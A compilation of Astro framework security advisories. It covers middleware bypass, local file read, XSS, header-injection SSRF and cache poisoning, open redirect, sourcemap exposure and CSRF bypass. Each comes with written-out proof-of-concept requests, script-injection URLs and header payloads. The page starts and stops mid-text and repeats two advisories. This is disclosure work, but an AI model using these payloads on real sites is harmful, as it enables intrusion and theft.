/** The main logic to route dev server requests to pages in Astro. */ export async function handleRequest({ pipeline, routesList, controller, incomingRequest, incomingResponse, }: HandleRequest) { const { config, loader } = pipeline; const origin = `${loader.isHttps() ? 'https' : 'http'}://${ incomingRequest.headers[':authority'] ?? incomingRequest.headers.host }`; const url = new URL(origin + incomingRequest.url); let pathname: string; if (config.trailingSlash === 'never' && !incomingRequest.url) { pathname = ''; } else { // We already have a middleware that checks if there's an incoming URL that has invalid URI, so it's safe // to not handle the error: packages/astro/src/vite-plugin-astro-server/base.ts pathname = decodeURI(url.pathname); // here this url is for routing/rendering } // Add config.base back to url before passing it to SSR url.pathname = removeTrailingForwardSlash(config.base) + url.pathname; // this is used for middleware contextConsider an application having the following middleware code:
import { defineMiddleware } from "astro/middleware"; export const onRequest = defineMiddleware(async (context, next) => { const isAuthed = false; // simulate no auth if (context.url.pathname === "/admin" && !isAuthed) { return context.redirect("/"); } return next(); });
context.url.pathnameis validated , if it's equal to/admintheisAuthedproperty must be true for the next() method to be called. The same example can be found in the official docs https://docs.astro.build/en/guides/authentication/
context.url.pathnamereturns the raw version which is/%61adminwhile pathname which is used for routing/rendering/admin, this creates a path normalization mismatch.By sending the following request, it's possible to bypass the middleware check
GET /%61dmin HTTP/1.1 Host: localhost:3000![]()
Remediation
Ensure middleware context has the same normalized pathname value that Astro uses internally, because any difference could allow it to bypass such checks. In short maybe something like this
pathname = decodeURI(url.pathname); } // Add config.base back to url before passing it to SSR - url.pathname = removeTrailingForwardSlash(config.base) + url.pathname; + url.pathname = removeTrailingForwardSlash(config.base) + decodeURI(url.pathname);Thank you, let @Sudistark know if any more info is needed. Happy to help :)
๐จ Astro Development Server has Arbitrary Local File Read
Summary
A vulnerability has been identified in the Astro framework's development server that allows arbitrary local file read access through the image optimization endpoint. The vulnerability affects Astro development environments and allows remote attackers to read any image file accessible to the Node.js process on the host system.
Details
- Title: Arbitrary Local File Read in Astro Development Image Endpoint
- Type: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
- Component:
/packages/astro/src/assets/endpoint/node.ts- Affected Versions: Astro v5.x development builds (confirmed v5.13.3)
- Attack Vector: Network (HTTP GET request)
- Authentication Required: None
The vulnerability exists in the Node.js image endpoint handler used during development mode. The endpoint accepts an
hrefparameter that specifies the path to an image file. In development mode, this parameter is processed without adequate path validation, allowing attackers to specify absolute file paths.Vulnerable Code Location:
packages/astro/src/assets/endpoint/node.ts// Vulnerable code in development mode if (import.meta.env.DEV) { fileUrl = pathToFileURL(removeQueryString(replaceFileSystemReferences(src))); } else { // Production has proper path validation // ... security checks omitted in dev mode }The development branch bypasses the security checks that exist in the production code path, which validates that file paths are within the allowed assets directory.
PoC
Attack Prerequisites
- Astro development server must be running (
astro dev)- The
/_imageendpoint must be accessible to the attacker- Target image files must be readable by the Node.js process
Exploit Steps
Start Astro Development Server:
astro dev # Typically runs on http://localhost:4321Craft Malicious Request:
GET /_image?href=/[ABSOLUTE_PATH_TO_IMAGE]&w=100&h=100&f=png HTTP/1.1 Host: localhost:4321Example Attack:
curl "http://localhost:4321/_image?href=/%2FSystem%2FLibrary%2FImage%20Capture%2FAutomatic%20Tasks%2FMakePDF.app%2FContents%2FResources%2F0blank.jpg&w=100&h=100&f=png" -o stolen.pngDemonstration Results
Test Environment: macOS with Astro v5.13.3
Successful Exploitation:
- Target:
/System/Library/Image Capture/Automatic Tasks/MakePDF.app/Contents/Resources/0blank.jpg- Response: HTTP 200 OK, Content-Type: image/png
- Exfiltration: 303 bytes (100x100 PNG)
- File Created:
stolen-image.pngcontaining processed system imageAttack Payload:
http://localhost:4321/_image?href=/%2FSystem%2FLibrary%2FImage%20Capture%2FAutomatic%20Tasks%2FMakePDF.app%2FContents%2FResources%2F0blank.jpg&w=100&h=100&f=pngServer Response:
Status: 200 OK Content-Type: image/png Content-Length: 303Impact
Confidentiality Impact: HIGH
- Scope: Any image file readable by the Node.js process
- Exfiltration Method: Complete file contents via HTTP response (transformed to PNG)
Integrity Impact: NONE
- The vulnerability only allows reading files, not modification
Availability Impact: NONE
- No direct impact on system availability
- Potential for resource exhaustion through repeated large image requests
Affected Components
Primary Component
- File:
packages/astro/src/assets/endpoint/node.ts- Function:
loadLocalImage()- Lines: Development mode branch (~25-35)
Secondary Components
- File:
packages/astro/src/assets/endpoint/generic.ts- Impact: Uses different code path, not directly vulnerable
- Note: Implements proper remote allowlist validation
๐จ Astro vulnerable to reflected XSS via the server islands feature
Summary
After some research it appears that it is possible to obtain a reflected XSS when the server islands feature is used in the targeted application, regardless of what was intended by the component template(s).
Details
Server islands run in their own isolated context outside of the page request and use the following pattern path to hydrate the page:
/_server-islands/[name]. These paths can be called via GET or POST and use three parameters:
e: component to exportp: the transmitted properties, encrypteds: for the slotsSlots are placeholders for external HTML content, and therefore allow, by default, the injection of code if the component template supports it, nothing exceptional in principle, just a feature.
This is where it becomes problematic: it is possible, independently of the component template used, even if it is completely empty, to inject a slot containing an XSS payload, whose parent is a tag whose name is is the absolute path of the island file. Enabling reflected XSS on any application, regardless of the component templates used, provided that the server islands is used at least once.
How ?
By default, when a call is made to the endpoint
/_server-islands/[name], the value of the parametereisdefault, pointing to a function exported by the component's module.Upon further investigation, we find that two other values โโare possible for the component export (param
e) in a typical configuration:urlandfile.filereturns a string value corresponding to the absolute path of the island file. Since the value is of typestring, it fulfills the following condition and leads to this code block:![]()
An entire template is created, completely independently, and then returned:
- the absolute path name is sanitized and then injected as the tag name
childSlots, the value provided to thesparameter, is injected as a childAll of this is done using
markHTMLString. This allows the injection of any XSS payload, even if the component template intended by the application is initially empty or does not provide for the use of slots.Proof of concept
For our Proof of Concept (PoC), we will use a minimal repository:
- Latest Astro version at the time (5.15.6)
- Use of Island servers, with a completely empty component, to demonstrate what we explained previously
Access the following URL and note the opening of the popup, demonstrating the reflected XSS:
![]()
The value of the parameter
smust be in JSON format and the payload must be injected at the value level, not the key level :![]()
Despite the initial template being empty, it is created because the value of the URL parameter
eis set tofile, as explained earlier. The parent tag is the name of the component's internal route, and its child is the value of the key "zhero" (the name doesn't matter) of the URL parameters.Credits
- Allam Rachid (zhero;)
- Allam Yasser (inzo)
๐จ Astro Cloudflare adapter has Stored Cross-site Scripting vulnerability in /_image endpoint
Summary
A Cross-Site Scripting (XSS) vulnerability exists in Astro when using the @astrojs/cloudflare adapter withoutput: 'server'. The built-in image optimization endpoint (/_image) usesisRemoteAllowed()from Astroโs internal helpers, which unconditionally allowsdata:URLs. When the endpoint receives a validdata:URL pointing to a malicious SVG containing JavaScript, and the Cloudflare-specific implementation performs a 302 redirect back to the originaldata:URL, the browser directly executes the embedded JavaScript. This completely bypasses any domain allow-listing (image.domains/image.remotePatterns) and typical Content Security Policy mitigations.Affected Versions
@astrojs/cloudflareโค 12.6.10 (and likely all previous versions)- Astro โฅ 4.x when used with
output: 'server'and the Cloudflare adapterRoot Cause โ Vulnerable Code
File:node_modules/@astrojs/internal-helpers/src/remote.tsexport function isRemoteAllowed(src: string, ...): boolean { if (!URL.canParse(src)) { return false; } const url = new URL(src); // Data URLs are always allowed if (url.protocol === 'data:') { return true; } // Non-http(s) protocols are never allowed if (!['http:', 'https:'].includes(url.protocol)) { return false; } // ... further http/https allow-list checks }In the Cloudflare adapter, the
/_imageendpoint contains logic similar to:const href = ctx.url.searchParams.get('href'); if (!href) { // return error } if (isRemotePath(href)) { if (isRemoteAllowed(href, imageConfig) === false) { // return error } else { //redirect to return the image return Response.redirect(href, 302); } }Because
data:URLs are considered โallowedโ, a request such as:
https://example.com/_image?href=data:image/svg+xml;base64,PHN2Zy... (base64-encoded malicious SVG)triggers a 302 redirect directly to the
data:URL, causing the browser to render and execute the malicious JavaScript inside the SVG.Proof of Concept (PoC)
- Create a minimal Astro project with Cloudflare adapter (
output: 'server').- Deploy to Cloudflare Pages or Workers.
- Request the image endpoint with the following payload:
https://yoursite.com/_image?href=data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxzY3JpcHQ+YWxlcnQoJ3pvbWFzZWMnKTwvc2NyaXB0Pjwvc3ZnPg==(Base64 decodes to:
<svg xmlns="http://www.w3.org/2000/svg"><script>alert('zomasec')</script></svg>)
- The endpoint returns a 302 redirect to the
data:URL โ browser executes the<script>โalert()fires.Impact
- Reflected/Strored XSS (depending on application usage)
- Session hijacking (access to cookies, localStorage, etc.)
- Account takeover when combined with CSRF
- Data exfiltration to attacker-controlled servers
- Bypasses
image.domains/image.remotePatternsconfiguration entirelySafe vs Vulnerable Behavior
Other Astro adapters (Node, Vercel, etc.) typically proxy and rasterize SVGs, stripping JavaScript. The Cloudflare adapter currently redirects to remote resources (includingdata:URLs), making it uniquely vulnerable.References
- Vulnerable function: https://github.com/withastro/astro/blob/main/packages/internal-helpers/src/remote.ts
- Similar
data:URL bypass in WordPress: CVE-2025-2575
๐จ Astro vulnerable to URL manipulation via headers, leading to middleware and CVE-2025-61925 bypass
Summary
In impacted versions of Astro using on-demand rendering, request headers
x-forwarded-protoandx-forwarded-portare insecurely used, without sanitization, to build the URL. This has several consequences the most important of which are:
- Middleware-based protected route bypass (only via
x-forwarded-proto)- DoS via cache poisoning (if a CDN is present)
- SSRF (only via
x-forwarded-proto)- URL pollution (potential SXSS, if a CDN is present)
- WAF bypass
Details
The
x-forwarded-protoandx-forwarded-portheaders are used without sanitization in two parts of the Astro server code. The most important is in thecreateRequest()function. Any configuration, including the default one, is affected:astro/packages/astro/src/core/app/node.ts
Line 97 in 970ac0f
astro/packages/astro/src/core/app/node.ts
Line 121 in 970ac0f
These header values are then used directly to construct URLs.
By injecting a payload at the protocol level during URL creation (via the
x-forwarded-protoheader), the entire URL can be rewritten, including the host, port and path, and then pass the rest of the URL, the real hostname and path, as a query so that it doesn't affect (re)routing.If the following header value is injected when requesting the path
/ssr:x-forwarded-proto: https://www.malicious-url.com/?tank=The complete URL that will be created is:
https://www.malicious-url.com/?tank=://localhost/ssrAs a reminder, URLs are created like this:
url = new URL(`${protocol}://${hostnamePort}${req.url}`);The value is injected at the beginning of the string (
${protocol}), and ends with a query?tank=whose value is the rest of the string,://${hostnamePort}${req.url}.This way there is control over the routing without affecting the path, and the URL can be manipulated arbitrarily. This behavior can be exploited in various ways, as will be seen in the PoC section.
The same logic applies to
x-forwarded-port, with a few differences.Note
The
createRequestfunction is called every time a non-static page is requested. Therefore, all non-static pages are exploitable for reproducing the attack.PoC
The PoC will be tested with a minimal repository:
- Latest Astro version at the time (
2.16.0)- The Node adapter
- Two simple pages, one SSR (
/ssr), the other simulating an admin page (/admin) protected by a middleware- A middleware example copied and pasted from the official Astro documentation to protect the admin page based on the path
Middleware-based protected route bypass - x-forwarded-proto only
The middleware has been configured to protect the
/adminroute based on the official documentation:// src/middleware.ts import { defineMiddleware } from "astro/middleware"; export const onRequest = defineMiddleware(async (context, next) => { const isAuthed = false; // auth logic if (context.url.pathname === "/admin" && !isAuthed) { return context.redirect("/"); } return next(); });
When tryint to access
/adminthe attacker is naturally redirected :curl -i http://localhost:4321/admin![]()
The attackr can bypass the middleware path check using a malicious header value:
curl -i -H "x-forwarded-proto: x:admin?" http://localhost:4321/admin![]()
How โโis this possible?
Here, with the payload
x:admin?, the attacker can use the URL API parser to their advantage:
x:is considered the protocol- Since there is no
//, the parser considers there to be no authority, and everything before the?character is therefore considered part of the path:adminDuring a path-based middleware check, the path value begins with a
/:context.url.pathname === "/admin". However, this is not the case with this payload;context.url.pathname === "admin", the absence of a slash satisfies both the middleware check and the router and consequently allows us to bypass the protection and access the page.SSRF
As seen, the request URL is built from untrusted input via the
x-forwarded-protocolheader, if it turns out that this URL is subsequently used to perform external network calls, for an API for example, this allows an attacker to supply a malicious URL that the server will fetch, resulting in server-side request forgery (SSRF).Example of code reusing the "origin" URL, concatenating it to the API endpoint :
![]()
DoS via cache poisoning
If a CDN is present, it is possible to force the caching of bad pages/resources, or 404 pages on the application routes, rendering the application unusable.
A
404cab be forced, causing an error on the/ssrpage like this :curl -i -H "x-forwarded-proto: https://localhost/vulnerable?" http://localhost:4321/ssr
Same logic applies to
x-forwarded-port:curl -i -H "x-forwarded-port: /vulnerable?" http://localhost:4321/ssrHow โโis this possible?
The router sees the request for the path
/vulnerable, which does not exist, and therefore returns a404, while the potential CDN sees/ssrand can then cache the404response, consequently serving it to all users requesting the path/ssr.URL pollution
The exploitability of the following is also contingent on the presence of a CDN, and is therefore cache poisoning.
If the value of
request.urlis used to create links within the page, this can lead to Stored XSS withx-forwarded-protoand the following value:x-forwarded-proto: javascript:alert(document.cookie)//results in the following URL object:
![]()
It is also possible to inject any link, always, if the value of
request.urlis used on the server side to create links.x-forwarded-proto: https://www.malicious-site.com/bad?The attacker is more limited with
x-forwarded-portIf the value of
request.urlis used to create links within the page, this can lead to broken links, with the header and the following value:X-Forwarded-Port: /nope?WAF bypass
For this section, Astro invites users to read previous research on the React-Router/Remix framework, in the section "Exploitation - WAF bypass and escalations". This research deals with a similar case, the difference being that the vulnerable header was
x-forwarded-hostin their case:https://zhero-web-sec.github.io/research-and-things/react-router-and-the-remixed-path
Note: A section addressing DoS attacks via cache poisoning using the same vector was also included there.
CVE-2025-61925 complete bypass
It is possible to completely bypass the vulnerability patch related to the
X-Forwarded-Hostheader.By sending
x-forwarded-hostwith an empty value, theforwardedHostnamevariable is assigned an empty string. Then, during the subsequent check, the condition fails becauseforwardedHostnamereturnsfalse, its value being an empty string:if (forwardedHostname && !App.validateForwardedHost(...))Consequently, the implemented check is bypassed. From this point on, since the request has no
host(its value being an empty string), the path value is retrieved by the URL parser to set it as thehost. This is because thehttp/httpsschemes are considered special schemes by the WHATWG URL Standard Specification, requiring anauthority state.From there, the following request on the example SSR application (astro repo) yields an SSRF:
emptyx-forwarded-host+ the targethostin the pathCredits
- Allam Rachid (zhero;)
- Allam Yasser (inzo)
๐จ Astro development server error page is vulnerable to reflected Cross-site Scripting
Summary
A Reflected Cross-Site Scripting (XSS) vulnerability exists in Astro's development server error pages when the
trailingSlashconfiguration option is used. An attacker can inject arbitrary JavaScript code that executes in the victim's browser context by crafting a malicious URL. While this vulnerability only affects the development server and not production builds, it could be exploited to compromise developer environments through social engineering or malicious links.Details
Vulnerability Location
astro/packages/astro/src/template/4xx.ts
Lines 133 to 149 in 5bc37fd
Root Cause
The vulnerability was introduced in commit
536175528(PR #12994) , as part of a feature to "redirect trailing slashes on on-demand rendered pages." The feature added a helpful 404 error page in development mode to alert developers of trailing slash mismatches.Issue: The
correctedvariable, which is derived from the user-controlledpathnameparameter, is directly interpolated into the HTML without proper escaping. While thepathnamevariable itself is escaped elsewhere in the same file (line 114:escape(pathname)), thecorrectedvariable is not sanitized before being inserted into both thehrefattribute and the link text.Attack Vector
When a developer has configured
trailingSlashto'always'or'never'and visits a URL with a mismatched trailing slash, the development server returns a 404 page containing the vulnerable template. An attacker can craft a URL with JavaScript payloads that will be executed when the page is rendered.PoC
Local Testing (localhost)
Basic vulnerability verification in local development environment
Show details
astro.config.mjs:import { defineConfig } from 'astro/config'; export default defineConfig({ trailingSlash: 'never', // or 'always' server: { port: 3000, host: true } });
package.json:{ "name": "astro-xss-poc-victim", "version": "0.1.0", "scripts": { "dev": "astro dev" }, "dependencies": { "astro": "5.15.5" } }Start the development server:
npm install npm run devAccess the following malicious URL depending on your configuration:
For
trailingSlash: 'never'(requires trailing slash):http://localhost:3000/"></code><script>alert(document.domain)</script><!--/For
trailingSlash: 'always'(no trailing slash):http://localhost:3000/"></code><script>alert(document.domain)</script><!--When accessing the malicious URL:
- The development server returns a 404 page due to trailing slash mismatch
- The JavaScript payload (
alert(document.domain)) executes in the browser- An alert dialog appears, demonstrating arbitrary code execution
Remote Testing (ngrok)
Reproduce realistic attack scenario via external malicious link
Show details
Prerequisites: ngrok account and authtoken configured (
ngrok config add-authtoken <key>)Setup and Execution:
#!/bin/bash set -e mkdir -p logs npm i npm run dev > ./logs/victim.log 2>&1 & ngrok http 3000 > ./logs/ngrok.log 2>&1 & sleep 3 NGROK_URL=$(curl -s http://localhost:4040/api/tunnels | grep -o '"public_url":"https://[^"]*' | head -1 | cut -d'"' -f4) echo "" echo "=== Attack URLs ===" echo "" echo "For trailingSlash: 'never' (requires trailing slash):" echo "${NGROK_URL}/\"></code><script>alert(document.domain)</script><!--/" echo "" echo "For trailingSlash: 'always' (no trailing slash):" echo "${NGROK_URL}/\"></code><script>alert(document.domain)</script><!--" echo "" waitWhen a remote user accesses either of the generated attack URLs:
- The request is tunneled through ngrok to the local development server
- The development server returns a 404 page due to trailing slash mismatch
- The JavaScript payload (
alert(document.domain)) executes in the user's browserBoth URL patterns work depending on your
trailingSlashconfiguration ('never' or 'always').Impact
This only affects the development server. Risk depends on how and where the dev server is exposed.
Security impact
- Developer environment compromise: Visiting a crafted URL can run arbitrary JS in the developer's browser.
- Session hijacking: Active developer sessions can be stolen if services are open in the browser.
- Local resource access: JS may probe
localhostendpoints or dev tools depending on browser policies.- Supply-chain risk: Malicious packages or CI that start dev servers can widen exposure.
Attack scenarios
- Social engineering: Malicious link sent to a developer triggers the XSS when opened.
- Malicious documentation: Attack URLs embedded in issues, PRs, chat, or docs.
- Dependency/CI abuse: Packages or automation that spawn public dev servers expose many targets.
๐จ Astro's bypass of image proxy domain validation leads to SSRF and potential XSS
Summary
This is a patch bypass of CVE-2025-58179 in commit 9ecf359. The fix blocks
http://,https://and//, but can be bypassed using backslashes (\) - the endpoint still issues a server-side fetch.PoC
๐จ Astro's `X-Forwarded-Host` is reflected without validation
Summary
When running Astro in on-demand rendering mode using a adapter such as the node adapter it is possible to maliciously send an
X-Forwarded-Hostheader that is reflected when using the recommendedAstro.urlproperty as there is no validation that the value is safe.Details
Astro reflects the value in
X-Forwarded-Hostin output when usingAstro.urlwithout any validation.It is common for web servers such as nginx to route requests via the
Hostheader, and forward on other request headers. As such as malicious request can be sent with both aHostheader and anX-Forwarded-Hostheader where the values do not match and theX-Forwarded-Hostheader is malicious. Astro will then return the malicious value.This could result in any usages of the
Astro.urlvalue in code being manipulated by a request. For example if a user follows guidance and usesAstro.urlfor a canonical link the canonical link can be manipulated to another site. It is not impossible to imagine that the value could also be used as a login/registration or other form URL as well, resulting in potential redirecting of login credentials to a malicious party.As this is a per-request attack vector the surface area would only be to the malicious user until one considers that having a caching proxy is a common setup, in which case any page which is cached could persist the malicious value for subsequent users.
Many other frameworks have an allowlist of domains to validate against, or do not have a case where the headers are reflected to avoid such issues.
PoC
- Check out the minimal Astro example found here: https://github.com/Chisnet/minimal_dynamic_astro_server
nvm useyarn run buildnode ./dist/server/entry.mjscurl --location 'http://localhost:4321/' --header 'X-Forwarded-Host: www.evil.com' --header 'Host: www.example.com'- Observe that the response reflects the malicious
X-Forwarded-HostheaderFor the more advanced / dangerous attack vector deploy the application behind a caching proxy, e.g. Cloudflare, set a non-zero cache time, perform the above
curlrequest a few times to establish a cache, then perform the request without the malicious headers and observe that the malicious data is persisted.Impact
This could affect anyone using Astro in an on-demand/dynamic rendering mode behind a caching proxy.
๐จ Astro allows unauthorized third-party images in _image endpoint
Summary
In affected versions of
astro, the image optimization endpoint in projects deployed with on-demand rendering allows images from unauthorized third-party domains to be served.Details
On-demand rendered sites built with Astro include an
/_imageendpoint which returns optimized versions of images.The
/_imageendpoint is restricted to processing local images bundled with the site and also supports remote images from domains the site developer has manually authorized (using theimage.domainsorimage.remotePatternsoptions).However, a bug in impacted versions of
astroallows an attacker to bypass the third-party domain restrictions by using a protocol-relative URL as the image source, e.g./_image?href=//example.com/image.png.Proof of Concept
Create a new minimal Astro project (
astro@5.13.0).Configure it to use the Node adapter (
@astrojs/node@9.1.0โ newer versions are not impacted):// astro.config.mjs import { defineConfig } from 'astro/config'; import node from '@astrojs/node'; export default defineConfig({ adapter: node({ mode: 'standalone' }), });Build the site by running
astro build.Run the server, e.g. with
astro preview.Append
/_image?href=//placehold.co/600x400to the preview URL, e.g. http://localhost:4321/_image?href=//placehold.co/600x400The site will serve the image from the unauthorized
placehold.coorigin.Impact
Allows a non-authorized third-party to create URLs on an impacted siteโs origin that serve unauthorized image content.
In the case of SVG images, this could include the risk of cross-site scripting (XSS) if a user followed a link to a maliciously crafted SVG.
๐จ Astro allows unauthorized third-party images in _image endpoint
Summary
In affected versions of
astro, the image optimization endpoint in projects deployed with on-demand rendering allows images from unauthorized third-party domains to be served.Details
On-demand rendered sites built with Astro include an
/_imageendpoint which returns optimized versions of images.The
/_imageendpoint is restricted to processing local images bundled with the site and also supports remote images from domains the site developer has manually authorized (using theimage.domainsorimage.remotePatternsoptions).However, a bug in impacted versions of
astroallows an attacker to bypass the third-party domain restrictions by using a protocol-relative URL as the image source, e.g./_image?href=//example.com/image.png.Proof of Concept
Create a new minimal Astro project (
astro@5.13.0).Configure it to use the Node adapter (
@astrojs/node@9.1.0โ newer versions are not impacted):// astro.config.mjs import { defineConfig } from 'astro/config'; import node from '@astrojs/node'; export default defineConfig({ adapter: node({ mode: 'standalone' }), });Build the site by running
astro build.Run the server, e.g. with
astro preview.Append
/_image?href=//placehold.co/600x400to the preview URL, e.g. http://localhost:4321/_image?href=//placehold.co/600x400The site will serve the image from the unauthorized
placehold.coorigin.Impact
Allows a non-authorized third-party to create URLs on an impacted siteโs origin that serve unauthorized image content.
In the case of SVG images, this could include the risk of cross-site scripting (XSS) if a user followed a link to a maliciously crafted SVG.
๐จ Astros's duplicate trailing slash feature leads to an open redirection security issue
Summary
There is an Open Redirection vulnerability in the trailing slash redirection logic when handling paths with double slashes. This allows an attacker to redirect users to arbitrary external domains by crafting URLs such as
https://mydomain.com//malicious-site.com/. This increases the risk of phishing and other social engineering attacks.This affects Astro >=5.2.0 sites that use on-demand rendering (SSR) with the Node or Cloudflare adapter. It does not affect static sites, or sites deployed to Netlify or Vercel.
Background
Astro performs automatic redirection to the canonical URL, either adding or removing trailing slashes according to the value of the
trailingSlashconfiguration option. It follows the following rules:
- If
trailingSlashis set to"never",https://example.com/page/will redirect tohttps://example.com/page- If
trailingSlashis set to"always",https://example.com/pagewill redirect tohttps://example.com/page/It also collapses multiple trailing slashes, according to the following rules:
- If
trailingSlashis set to"always"or"ignore"(the default),https://example.com/page//will redirect tohttps://example.com/page/- If
trailingSlashis set to"never",https://example.com/page//will redirect tohttps://example.com/pageIt does this by returning a
301redirect to the target path. The vulnerability occurs because it uses a relative path for the redirect. To redirect fromhttps://example.com/pagetohttps://example.com/page/, it sending a 301 response with the headerLocation: /page/. The browser resolves this URL relative to the original page URL and redirects tohttps://example.com/page/Details
The vulnerability occurs if the target path starts with
//. A request forhttps://example.com//pagewill send the headerLocation: //page/. The browser interprets this as a protocol-relative URL, so instead of redirecting tohttps://example.com//page/, it will attempt to redirect tohttps://page/. This is unlikely to resolve, but by crafting a URL in the formhttps://example.com//target.domain/subpath, it will send the headerLocation: //target.domain/subpath/, which the browser translates as a redirect tohttps://target.domain/subpath/. The subpath part is required because otherwise Astro will interpret/target.domainas a file download, which skips trailing slash handling.This leads to an Open Redirect vulnerability.
The URL needed to trigger the vulnerability varies according to the
trailingSlashsetting.
- If
trailingSlashis set to"never", a URL in the formhttps://example.com//target.domain/subpath/- If
trailingSlashis set to"always", a URL in the formhttps://example.com//target.domain/subpath- For any config value, a URL in the form
https://example.com//target.domain/subpath//Impact
This is classified as an Open Redirection vulnerability (CWE-601). It affects any user who clicks on a specially crafted link pointing to the affected domain. Since the domain appears legitimate, victims may be tricked into trusting the redirected page, leading to possible credential theft, malware distribution, or other phishing-related attacks.
No authentication is required to exploit this vulnerability. Any unauthenticated user can trigger the redirect by clicking a malicious link.
Mitigation
Usrs can test if your site is affected by visiting
https://yoursite.com//docs.astro.build/en//. If a user is redirected to the Astro docs then their site is affected and must be updated.Upgrade to Astro 5.12.8. To mitigate at the network level, block outgoing redirect responses with a
Locationheader value that starts with//.
๐จ Astro's server source code is exposed to the public if sourcemaps are enabled
Summary
A bug in the build process allows any unauthenticated user to read parts of the server source code.
Details
During build, along with client assets such as css and font files, the sourcemap files for the server code are moved to a publicly-accessible folder.
Any outside party can read them with an unauthorized HTTP GET request to the same server hosting the rest of the website.
While some server files are hashed, making their access obscure, the files corresponding to the file system router (those in
src/pages) are predictably named. For example. the sourcemap file forsrc/pages/index.astrogets nameddist/client/pages/index.astro.mjs.map.PoC
Here is one example of an affected open-source website:
https://creatorsgarten.org/pages/index.astro.mjs.map![]()
The file can be saved and opened using https://evanw.github.io/source-map-visualization/ to reconstruct the source code.
![]()
The above accurately mirrors the source code as seen in the repository: https://github.com/creatorsgarten/creatorsgarten.org/blob/main/src/pages/index.astro
![]()
The above was found as the 4th result (and the first one on Astro 5.0+) when making the following search query on GitHub.com (search results link):
path:astro.config.mjs @sentry/astroThis vulnerability is the root cause of #12703, which links to a simple stackblitz project demonstrating the vulnerability. Upon build, notice the contents of the
dist/client(referred to asconfig.build.clientin astro code) folder. All astro servers make the folder in question accessible to the public internet without any authentication. It contains.mapfiles corresponding to the code that runs on the server.Impact
All server-output (SSR) projects on Astro 5 versions v5.0.3 through v5.0.6 (inclusive), that have sourcemaps enabled, either directly or through an add-on such as sentry, are affected. The fix for server-output projects was released in astro@5.0.7.
Additionally, all static-output (SSG) projects built using Astro 4 versions 4.16.17 or older, or Astro 5 versions 5.0.7 or older, that have sourcemaps enabled are also affected. The fix for static-output projects was released in astro@5.0.8, and backported to Astro v4 in astro@4.16.18.
The immediate impact is limited to source code. Any secrets or environment variables are not exposed unless they are present verbatim in the source code.
There is no immediate loss of integrity within the the vulnerable server. However, it is possible to subsequently discover another vulnerability via the revealed source code .
There is no immediate impact to availability of the vulnerable server. However, the presence of an unsafe regular expression, for example, can quickly be exploited to subsequently compromise the availability.
- Network attack vector.
- Low attack complexity.
- No privileges required.
- No interaction required from an authorized user.
- Scope is limited to first party. Although the source code of closed-source third-party software may also be exposed.
Remediation
The fix for server-output projects was released in astro@5.0.7, and the fix for static-output projects was released in astro@5.0.8 and backported to Astro v4 in astro@4.16.18. Users are advised to update immediately if they are using sourcemaps or an integration that enables sourcemaps.
๐จ Astro's server source code is exposed to the public if sourcemaps are enabled
Summary
A bug in the build process allows any unauthenticated user to read parts of the server source code.
Details
During build, along with client assets such as css and font files, the sourcemap files for the server code are moved to a publicly-accessible folder.
Any outside party can read them with an unauthorized HTTP GET request to the same server hosting the rest of the website.
While some server files are hashed, making their access obscure, the files corresponding to the file system router (those in
src/pages) are predictably named. For example. the sourcemap file forsrc/pages/index.astrogets nameddist/client/pages/index.astro.mjs.map.PoC
Here is one example of an affected open-source website:
https://creatorsgarten.org/pages/index.astro.mjs.map![]()
The file can be saved and opened using https://evanw.github.io/source-map-visualization/ to reconstruct the source code.
![]()
The above accurately mirrors the source code as seen in the repository: https://github.com/creatorsgarten/creatorsgarten.org/blob/main/src/pages/index.astro
![]()
The above was found as the 4th result (and the first one on Astro 5.0+) when making the following search query on GitHub.com (search results link):
path:astro.config.mjs @sentry/astroThis vulnerability is the root cause of #12703, which links to a simple stackblitz project demonstrating the vulnerability. Upon build, notice the contents of the
dist/client(referred to asconfig.build.clientin astro code) folder. All astro servers make the folder in question accessible to the public internet without any authentication. It contains.mapfiles corresponding to the code that runs on the server.Impact
All server-output (SSR) projects on Astro 5 versions v5.0.3 through v5.0.6 (inclusive), that have sourcemaps enabled, either directly or through an add-on such as sentry, are affected. The fix for server-output projects was released in astro@5.0.7.
Additionally, all static-output (SSG) projects built using Astro 4 versions 4.16.17 or older, or Astro 5 versions 5.0.7 or older, that have sourcemaps enabled are also affected. The fix for static-output projects was released in astro@5.0.8, and backported to Astro v4 in astro@4.16.18.
The immediate impact is limited to source code. Any secrets or environment variables are not exposed unless they are present verbatim in the source code.
There is no immediate loss of integrity within the the vulnerable server. However, it is possible to subsequently discover another vulnerability via the revealed source code .
There is no immediate impact to availability of the vulnerable server. However, the presence of an unsafe regular expression, for example, can quickly be exploited to subsequently compromise the availability.
- Network attack vector.
- Low attack complexity.
- No privileges required.
- No interaction required from an authorized user.
- Scope is limited to first party. Although the source code of closed-source third-party software may also be exposed.
Remediation
The fix for server-output projects was released in astro@5.0.7, and the fix for static-output projects was released in astro@5.0.8 and backported to Astro v4 in astro@4.16.18. Users are advised to update immediately if they are using sourcemaps or an integration that enables sourcemaps.
๐จ Atro CSRF Middleware Bypass (security.checkOrigin)
Summary
A bug in Astroโs CSRF-protection middleware allows requests to bypass CSRF checks.
Details
When the
security.checkOriginconfiguration option is set totrue, Astro middleware will perform a CSRF check. (Source code: https://github.com/withastro/astro/blob/6031962ab5f56457de986eb82bd24807e926ba1b/packages/astro/src/core/app/middlewares.ts)For example, with the following Astro configuration:
// astro.config.mjs import { defineConfig } from 'astro/config'; import node from '@astrojs/node'; export default defineConfig({ output: 'server', security: { checkOrigin: true }, adapter: node({ mode: 'standalone' }), });A request like the following would be blocked if made from a different origin:
// fetch API or <form action="https://test.example.com/" method="POST"> fetch('https://test.example.com/', { method: 'POST', credentials: 'include', body: 'a=b', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, }); // => Cross-site POST form submissions are forbiddenHowever, a vulnerability exists that can bypass this security.
Pattern 1: Requests with a semicolon after the
Content-TypeA semicolon-delimited parameter is allowed after the type in
Content-Type.Web browsers will treat a
Content-Typesuch asapplication/x-www-form-urlencoded; abcas a simple request and will not perform preflight validation. In this case, CSRF is not blocked as expected.fetch('https://test.example.com', { method: 'POST', credentials: 'include', body: 'test', headers: { 'Content-Type': 'application/x-www-form-urlencoded; abc' }, }); // => Server-side functions are executed (Response Code 200).Pattern 2: Request without
Content-TypeheaderThe
